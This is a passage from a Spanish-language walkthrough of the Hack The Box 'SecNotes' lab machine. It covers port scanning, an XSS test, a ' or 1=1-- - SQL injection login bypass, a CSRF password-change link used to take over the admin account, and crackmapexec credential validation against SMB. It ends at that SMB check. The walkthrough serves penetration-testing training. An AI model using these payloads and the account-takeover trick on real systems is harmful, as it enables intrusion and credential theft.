# SecNotes \[MEDIUM🔵]

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FpRzTa3KBlH6z0kpUMiWB%2Fimage.png?alt=media&#x26;token=19fc1d1d-1443-40de-898c-8853d3fc4519" alt="" width="563"><figcaption><p><a href="https://app.hackthebox.com/machines/151"><code>SecNotes</code></a></p></figcaption></figure>

## 1- Reconocimiento y escaneo

### `1.1 Ping`

```bash
❯ ping -c 1 10.10.10.97
PING 10.10.10.97 (10.10.10.97) 56(84) bytes of data.
64 bytes from 10.10.10.97: icmp_seq=1 ttl=127 time=170 ms

--- 10.10.10.97 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 170.083/170.083/170.083/0.000 ms
```

Podemos notar que se trata de una maquina Windows, debido al TTL:

```
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
```

### `1.2 Nmap`

```bash
❯ nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.10.97 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-20 16:46 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:46
Completed NSE at 16:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:46
Completed NSE at 16:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:46
Completed NSE at 16:46, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 16:46
Completed Parallel DNS resolution of 1 host. at 16:46, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:46
Scanning 10.10.10.97 [65535 ports]
Discovered open port 445/tcp on 10.10.10.97
Discovered open port 80/tcp on 10.10.10.97
Discovered open port 8808/tcp on 10.10.10.97
Completed SYN Stealth Scan at 16:46, 26.49s elapsed (65535 total ports)
Initiating Service scan at 16:46
Scanning 3 services on 10.10.10.97
Completed Service scan at 16:46, 11.54s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.97.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:46
NSE Timing: About 99.77% done; ETC: 16:47 (0:00:00 remaining)
Completed NSE at 16:47, 40.58s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:47
Completed NSE at 16:47, 0.72s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:47
Completed NSE at 16:47, 0.00s elapsed
Nmap scan report for 10.10.10.97
Host is up, received user-set (0.17s latency).
Scanned at 2025-02-20 16:46:09 -03 for 80s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE      REASON          VERSION
80/tcp   open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
| http-title: Secure Notes - Login
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
445/tcp  open  microsoft-ds syn-ack ttl 127 Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h40m01s, deviation: 4h37m10s, median: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 25086/tcp): CLEAN (Timeout)
|   Check 2 (port 9176/tcp): CLEAN (Timeout)
|   Check 3 (port 53444/udp): CLEAN (Timeout)
|   Check 4 (port 48926/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2025-02-20T19:46:53
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: SECNOTES
|   NetBIOS computer name: SECNOTES\x00
|   Workgroup: HTB\x00
|_  System time: 2025-02-20T11:46:52-08:00

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:47
Completed NSE at 16:47, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:47
Completed NSE at 16:47, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:47
Completed NSE at 16:47, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.73 seconds
           Raw packets sent: 131084 (5.768MB) | Rcvd: 20 (880B)
```

Se visualiza en el escaneo de Nmap, los puertos 80 con el servicio `HTTP IIS de Microsoft Windows en su versión 10.0`, 445 donde se aloja el servidor SMB de la maquina objetivo, podemos tambien notar que nos da la versión de Windows que esta corriendo `(Windows 10 Enterprise 6.3)` y tambien vemos el workgroup HTB para acceder mediante SMB, y tambien el puerto 8808 donde aparentemente se aloja el panel de Administración de IIS

### `1.3 whatweb`

```bash
http://10.10.10.97/ [302 Found] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0],
       │  IP[10.10.10.97], Microsoft-IIS[10.0], PHP[7.2.7], RedirectLocation[login.php], X-Powered-By[PHP/7.2.7]
       │ http://10.10.10.97/login.php [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft
       │ -IIS/10.0], IP[10.10.10.97], Microsoft-IIS[10.0], PHP[7.2.7], PasswordField[password], Title[Secure Notes 
       │ - Login], X-Powered-By[PHP/7.2.7]
```

Se puede ver tecnologías como:

```
HTTPServer[Microsoft-IIS/10.0]
Microsoft-IIS[10.0]
PHP[7.2.7]
Bootstrap[3.3.7]
```

### `1.4 Fuzzing`

```bash
❯ dirsearch -u http://10.10.10.97/ -o fuzzing.txt

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://10.10.10.97/

[16:22:08] Scanning: 
[16:22:24] 403 -   312B - /\..\..\..\..\..\..\..\..\..\etc\passwd           
[16:22:42] 500 -    1KB - /auth.php                                         
[16:22:50] 302 -     0B - /contact.php  ->  login.php                       
[16:22:52] 500 -    1KB - /db.php                                           
[16:23:00] 302 -     0B - /home.php  ->  login.php                          
[16:23:06] 200 -    1KB - /login.php                                        
[16:23:07] 302 -     0B - /logout.php  ->  login.php                        
[16:23:20] 200 -    2KB - /register.php                                     
                                                                             
Task Completed
```

En el proceso de fuzzing no encontraremos nada relevante

En este caso, la intrusión ira por otro lado, la intrusión sera por el sitio web, entremos a Firefox en nuestro Kali y vamos a la pagina web por el puerto 80(En mi caso "<http://10.10.10.97/login.php>")

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FOFQhVLvASrOXaR4d8Lfu%2Fimage.png?alt=media&#x26;token=95113123-f732-4bfc-89e2-1e481d669abc" alt=""><figcaption></figcaption></figure>

Podemos ver un panel de login y register. Ahora vamos a ir al sitio web, pero por el puerto 8808:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FHXusqTNKlNY1rMUqS9yf%2Fimage.png?alt=media&#x26;token=db904037-13ee-40e9-9fd5-3a473cafd694" alt=""><figcaption></figcaption></figure>

Esta relacionado con el servicio 8808 que escaneamos con Nmap, IIS(Internet Information Services)

## 2- Explotación

### `2.1 XSS`

Vamos a probar un XSS básico dentro de la pagina web que corre por el puerto 80, donde se encuentran los formularios

¿Cómo lo hacemos?

Interactuando o modificando con los campos o formularios inyectando código

Aunque en este caso es diferente y vamos a verlo, vamos a crearnos una cuenta en el panel de "Sign up now"

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FKrMV0yiFedrynG17Xdft%2Fimage.png?alt=media&#x26;token=ebcd0765-3f44-47c8-9a94-90f216213285" alt=""><figcaption></figcaption></figure>

```
Usuario: t0mz
Password: 123123123
```

Al darle al boton de "Submit" nos creara una cuenta, ahora vamos a iniciar sesión dentro del panel de login con la cuenta que me registre:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2Fm4eyVVkhJLzgRROzYntd%2Fimage.png?alt=media&#x26;token=6e015b51-1605-4325-8388-6c56e828f005" alt=""><figcaption></figcaption></figure>

Una vez iniciado sesión, nos saldra un panel como este:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FO6Mzc4hsVBk4qVdrP0T5%2Fimage.png?alt=media&#x26;token=6b7e7bfd-0276-4f82-a073-fe079ff84556" alt=""><figcaption></figcaption></figure>

Aparentemente es un sitio web para crear notas, vamos a crear una nota con el botón "New Note"

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FZNFEqhsBxNg96OGtIVHy%2Fimage.png?alt=media&#x26;token=fe95559f-526a-4a1c-81dc-03436b8c1af2" alt=""><figcaption></figcaption></figure>

Botón "Save" para guardar:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FlmeAwYusj7awtE6iuDbn%2Fimage.png?alt=media&#x26;token=bb2f26a2-1788-406b-a9da-f6955e2f0e6f" alt=""><figcaption></figcaption></figure>

Guardó la nota en el panel, ahora, que pasaría si ponemos código HTML en el formulario para crear notas?

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2Fr1IbWqhbfCUsDOmPu214%2Fimage.png?alt=media&#x26;token=77c1fc58-d9e9-405e-831a-bb85a093aa41" alt=""><figcaption></figcaption></figure>

Botón "Save" para guardar:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FmOUPkVvDOiUTMdlgarYP%2Fimage.png?alt=media&#x26;token=0aa3f28d-61b8-4300-aa6b-4c4857acc699" alt=""><figcaption></figcaption></figure>

Se acontece un XSS, podriamos realizar la explotación de la maquina por aqui, con robo de sesión mediante las cookies, pero al hacerlo y estar investigando, la maquina da fallos, asi que vamos a ir por otro lado.

### `2.2 SQL Injection`

Vamos a probar una SQL Injection basica dentro de la pagina web que corre por el puerto 80, donde se encuentran los formularios

¿Como lo hacemos?

Interactuando o modificando la consulta SQL que se realiza a la base de datos mediante los formularios de Login o cualquier otro formulario que este directamente relacionado con una base de datos

Aunque en este caso es diferente y vamos a verlo, vamos a crearnos una cuenta en el panel de "Sign up now", pero en el username vamos a aplicar la modificación de la consulta SQL:

<pre><code><strong>Username: ' or 1=1-- -
</strong><strong>Password: 123123123
</strong></code></pre>

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2Frqhx7wHGWKgimmgI5vHP%2Fimage.png?alt=media&#x26;token=de1afbaf-7aaf-4418-add5-c2dcd1df0da3" alt=""><figcaption></figcaption></figure>

Al darle "Submit" para crear la cuenta, veremos que la cuenta se crea correctamente, ahora vamos a iniciar sesión con las credenciales en la que pusimos en el username la alteración de la consulta SQL:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FsUoWfxOUpy5zBGRq3zOY%2Fimage.png?alt=media&#x26;token=6328999b-55ca-4d83-9173-a40044e5dbaa" alt=""><figcaption></figcaption></figure>

Botón "Login" para iniciar sesión:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2F4aZjSJ9UzmbWbHxoAoub%2Fimage.png?alt=media&#x26;token=0b2b2780-ce0a-4c41-a5f1-67709e533f08" alt=""><figcaption></figcaption></figure>

Nos inicio sesión como el primer usuario de la tabla de usuarios, que generalmente suele ser el usuario Administrador y además, tiene acceso a todas las notas, por lo que verificaríamos que es el usuario Administrador, tambien podemos visualizar en la parte de arriba, un correo electronico:

```
tyler@secnotes.htb
```

Tambien, si revisamos las notas que aparecen en el panel, veremos que dentro de una de las notas, hay un usuario y una password:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FbTajPPpixkygN3hKu5gK%2Fimage.png?alt=media&#x26;token=b2fbdd1e-9ba1-426e-a989-e981877ab079" alt=""><figcaption></figcaption></figure>

```
\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&

Usuario: tyler
Password: 92g!mA8BGjOirkL%OG*&
```

### `2.3 CSRF(Cross-Site Request Forgery)`

Vamos a cerrar sesión del usuario tyler que habiamos comprometido con la SQL Injection con el boton "Sign Out" y vamos a volver a iniciar sesión con el usuario que hemos creado, en mi caso:

```
Usuario: t0mz
Password: 123123123
```

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FOn0RzQYvaZQGXv0cXvoG%2Fimage.png?alt=media&#x26;token=cc78783d-69e0-481e-8e4f-d73d7e21fa13" alt=""><figcaption></figcaption></figure>

Vamos a cambiar nuestra contraseña con el boton "Change Password":

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2F5BZ26jOCzYPjn0Kzcfn3%2Fimage.png?alt=media&#x26;token=cb91dc5a-abef-4a58-9422-0166e5f977a2" alt=""><figcaption></figcaption></figure>

Aqui en este formulario, podemos ver una vulnerabilidad bastante critica, el formulario de contraseña nos deberia tambien preguntar la contraseña actual, como un input de "Current Password", este no es el caso, por lo tanto, se acontece la vulnerabildiad CSRF dentro de este formulario, esta vulnerabilidad la vimos en el Write Up de ["BADSTORE 1.2.3"](https://writeups-ctfs.gitbook.io/writeup-ctf/vulnhub/badstore-1.2.3).

Vamos a dar un repaso a la vulnerabilidad CSRF:

#### `2.3.1 ¿De que trata la vulnerabilidad CSRF?`

Esta vulnerabilidad se acontece cuando mandamos una solicitud al servidor, y esta solicitud la hacemos pasar por un proxy para posteriormente modificarla y convertirla de una solicitud POST a una solicitud GET, generando un link malicioso para cambiar la contraseña de los usuarios, vamos a ver que el software que utilizaremos como proxy es Burp Suite para modificar la solicitud y convertir la solicitud de POST a GET para generar un link malicioso

Vamos a abrir Burp Suite y nos vamos a ir a la pestaña de "Proxy":

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2Fz3lq1CHeMOECCk9YSyjj%2Fimage.png?alt=media&#x26;token=91c0712f-dfb4-4179-b9d9-3af05e3ca56e" alt=""><figcaption></figcaption></figure>

Vamos a ir a la configuración del proxy de Burp, en la subpestaña de "Proxy settings":

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FqrGPMxmonU5x2ptt3A5E%2Fimage.png?alt=media&#x26;token=fdd10333-4e84-419f-aea0-8ec289cf3fd7" alt=""><figcaption></figcaption></figure>

Vemos que el proxy, esta configurado con la IP 127.0.0.1 por el puerto 8080, sabiendo esto, vamos a ir a Firefox en nuestro Kali, y nos vamos a ir a ajustes del navegador o settings:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2F2WpBvNXrl4NrrpSqXeON%2Fimage.png?alt=media&#x26;token=5c7263e0-f1ae-4da7-aba6-161fb4a85cd8" alt=""><figcaption></figcaption></figure>

En el cuadro de busqueda de opciones, vamos a buscar la palabra clave "network"

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FVr1GbvlPMaQGlav5CTUd%2Fimage.png?alt=media&#x26;token=07954418-4780-4da4-82ee-957618a452be" alt=""><figcaption></figcaption></figure>

Vamos a abrir la configuración de red, con el boton "Settings"

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2F8TN0h3W6YUdRDaw9uVaM%2Fimage.png?alt=media&#x26;token=70032ae4-a9af-445c-b4d2-64faaa18c9ca" alt=""><figcaption></figcaption></figure>

Vamos a darla a "Manual proxy configuration" y lo configuraremos con la IP y puerto correspondiente del proxy de Burp, en este caso la IP 127.0.0.1 y el puerto 8080

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FIOjnJOOhzKAT2EQ0sS6b%2Fimage.png?alt=media&#x26;token=92bd87a5-528c-434b-b5dc-500c6adea078" alt=""><figcaption></figcaption></figure>

Vamos a aceptar con el boton "Ok", este paso no necesariamente tiene por que ser así, podemos configurar el proxy de Burp con la extensión de Foxy Proxy

Abrimos Burp Suite de nuevo y nos ponemos en modo intercepción:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FtPXMedLmTT36H1JWA4Gv%2Fimage.png?alt=media&#x26;token=7ed26a61-ef2e-44bc-9d38-b5f9cc5caee6" alt=""><figcaption></figcaption></figure>

Volvemos al formulario de cambio de contraseña con el boton "Change Password"

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2Flgdz8Olmmjb7Kgmcl3Co%2Fimage.png?alt=media&#x26;token=875ac5f4-6d02-4c84-b1ba-79aabad723cc" alt=""><figcaption></figcaption></figure>

Y vamos a rellenar el formulario con una contraseña cualquiera, en mi caso:

```
Password: 123456789
```

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FrhV66k3RNKL5NYBx7kSq%2Fimage.png?alt=media&#x26;token=19baae41-9098-4f4d-9a52-82dff165ec80" alt=""><figcaption></figcaption></figure>

Botón "Submit" para cambiar la contraseña, se nos va a quedar cargando:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2F0tNp9jnuHvenNtK5nCRZ%2Fimage.png?alt=media&#x26;token=14c0630b-95da-4803-85c5-cfb1283f4598" alt=""><figcaption></figcaption></figure>

Si volvemos a Burp Suite, abremos interceptado la solicitud:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FGsZA3bihK55IgGXwAjyP%2Fimage.png?alt=media&#x26;token=a25bc096-8ffe-45d3-865c-fe2902505756" alt=""><figcaption></figcaption></figure>

Podemos ver la contraseña que mencione anteriormente, 123456789

```xquery
POST /change_pass.php HTTP/1.1
Host: 10.10.10.97
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://10.10.10.97
Connection: keep-alive
Referer: http://10.10.10.97/change_pass.php
Cookie: PHPSESSID=l7f5btvb4oomp8b3gdf8tq2t7k
Upgrade-Insecure-Requests: 1
Priority: u=0, i

password=123456789&confirm_password=123456789&submit=submit
```

Ahora, vamos a dar click derecho en el campo de la consulta dentro de Burp:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FQxIqJyMHVz3vhQM2U5uN%2Fimage.png?alt=media&#x26;token=bb9bf59c-8432-46ad-b336-16bf808d37cc" alt=""><figcaption></figcaption></figure>

Vamos a seleccionar concretamente la opcion "Change Request Method", automaticamente se nos cambiara a una solicitud GET, si volvemos a darle al boton "Change Request Method", nos cambiaria de vuelta a POST.

La solicitud en formato GET, quedaria así:

```xquery
GET /change_pass.php?password=123456789&confirm_password=123456789&submit=submit HTTP/1.1
Host: 10.10.10.97
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: http://10.10.10.97
Connection: keep-alive
Referer: http://10.10.10.97/change_pass.php
Cookie: PHPSESSID=l7f5btvb4oomp8b3gdf8tq2t7k
Upgrade-Insecure-Requests: 1
Priority: u=0, i

```

En la primera linea de la solicitud podemos notar esto:

```xquery
GET /change_pass.php?password=123456789&confirm_password=123456789&submit=submit HTTP/1.1


```

¿Que pasaria si quitamos la palabra "GET"?

Quedaria de la siguiente manera:

```xquery
/change_pass.php?password=123456789&confirm_password=123456789&submit=submit HTTP/1.1

```

Pareceria una URL, que le falta la dirección IP o dominio, si le agregamos la dirección IP de la maquina objetivo de Hack The Box y quitamos el HTTP/1.1, quedaria una URL funcional:

<pre><code><strong>http://10.10.10.97/change_pass.php?password=123456789&#x26;confirm_password=123456789&#x26;submit=submit
</strong>
</code></pre>

Tambien, veremos que en la URL, se encuentra la contraseña, tanto para confirmar que la contraseña es correcta, como la contraseña nueva del primer campo que introducimos en el formulario de cambio de contraseña, si la modificamos a 0987654321, quedaria asi:

```
http://10.10.10.97/change_pass.php?password=0987654321&confirm_password=0987654321&submit=submit
```

Dropeamos la solicitud de BurpSuite con el boton "Drop"

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FSCRVZkUvKXOtRWCCrISW%2Fimage.png?alt=media&#x26;token=4bfc06f7-fb1f-4f34-b802-743f15151c16" alt=""><figcaption></figcaption></figure>

Y volvemos a acceder a la pagina web de la maquina de Hack The Box:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FmFVQIJIizfCP4doQuhSb%2Fimage.png?alt=media&#x26;token=64d59e89-f8a2-4e24-858f-e68a1d4b20e2" alt=""><figcaption></figcaption></figure>

Vemos la URL limpia del sitio web "10.10.10.97", ahora, vamos a ingresar el link dentro del navegador Firefox:

"<http://10.10.10.97/change\\_pass.php?password=0987654321\\&confirm\\_password=0987654321\\&submit=submit> HTTP/1.1"

Y veremos que sucede esto:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FNMZzWUyK4ALvrNgLAPWP%2Fimage.png?alt=media&#x26;token=e4241e83-7b74-4c1e-9a91-d07567fad08b" alt=""><figcaption></figcaption></figure>

Se nos actualizo la password a 0987654321, por lo tanto mi cuenta ahora es:

```
Username: t0mz
Password: 0987654321
```

La contraseña se ha cambiado solamente con entrar en el enlace y podriamos cambiar la contraseña cuantas veces queramos solo con la URL, obviamente cambiando la contraseña del enlace en los parametros correspondientes de la URL

Ahora bien, vamos a ir a "Contact Us":

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FONfVRN0SCN8GRazs7v4a%2Fimage.png?alt=media&#x26;token=df48d39d-275e-4433-b50f-7b6bdc67e68f" alt=""><figcaption></figcaption></figure>

Y veremos que podemos contactar a Tyler, nuestro querido amigo Tyler :)

Aparentemente, como vimos en la SQL Injection, es el administrador, y la sección de "Contact Us", es como una especie de soporte:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FAExZIVJvzoVYPasq35bU%2Fimage.png?alt=media&#x26;token=aac8ead1-ccd6-4db0-90ab-53c4bc3fb21e" alt=""><figcaption></figcaption></figure>

Vamos a enviarle con el boton "Send", el enlace que previamente habiamos creado para cambiar la contraseña solamente con entrar en el mismo:

```
http://10.10.10.97/change_pass.php?password=0987654321&confirm_password=0987654321&submit=submit HTTP/1.1

```

Con la contraseña 0987654321

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FBgaPhQwtzu1fEWY5b9WZ%2Fimage.png?alt=media&#x26;token=e3906359-8be0-47dd-91a9-cddf40fe18fa" alt=""><figcaption></figcaption></figure>

Vamos a enviarselo a Tyler con el boton "Send", entonces si Tyler hace click en el enlace, estaria cambiando su contraseña automaticamente a 0987654321

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FL2l562M1cEInJ7Iev06Y%2Fimage.png?alt=media&#x26;token=b399a6d0-bf67-443e-bdeb-24b502deec48" alt=""><figcaption></figcaption></figure>

Vamos a cerrar sesión de nuestra cuenta con el boton "Sign Out":

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FP6wTaIiIVMXdPZsywOpm%2Fimage.png?alt=media&#x26;token=8156b59f-1644-4fed-a150-3cdca3d80972" alt=""><figcaption></figcaption></figure>

Si recordamos bien, en la SQL Injection cuando comprometimos la cuenta de Tyler, dentro de una de las notas que podiamos visualizar en la imagen, teniamos estas credenciales:

```
\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&

Usuario: tyler
Password: 92g!mA8BGjOirkL%OG*&
```

Como Tyler entro al enlace que le enviamos la contraseña ya no es "92g!mA8BGjOirkL%OG\*&", si no que ahora es:

```
Usuario: tyler
Password: 0987654321
```

Probemos:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FfZKfJgrFURb0etcUiovO%2Fimage.png?alt=media&#x26;token=ebab99be-1fc6-4358-9397-0844cb35a22e" alt=""><figcaption></figcaption></figure>

Boton "Login" para iniciar sesión:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2F2UfGWT6OsRwUF8iCRg2H%2Fimage.png?alt=media&#x26;token=657c0208-52e3-4cdc-a643-9f4bff1495e9" alt=""><figcaption></figcaption></figure>

Nos adueñamos de la cuenta del Administrador Tyler, por que hizo click en la URL que le enviamos

### `2.4 Intrusión por SMB`

Si recordamos en el escaneo de Nmap, teniamos el puerto 445 abierto para recursos compartidos, y tambien tenemos las siguientes credenciales de Tyler

```
Usuario: tyler
Password: 92g!mA8BGjOirkL%OG*&
```

Vamos a conectarnos a los recursos compartidos del servidor SMB con estas credenciales, pero antes vamos a validar si las credenciales son validas utilizando la herramienta `crackmapexec`  dentro de nuestro Kali con el siguiente comando:

```bash
crackmapexec smb 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'
```

El comando se estructura de la siguiente manera:

```bash
crackmapexec smb {IP} -u '{Username}' -p '{Password}'
```

Ejecutamos el comando en nuestro Kali:

```bash
❯ crackmapexec smb 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'
SMB         10.10.10.97     445    SECNOTES         [*] Windows 10 Enterprise 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True)
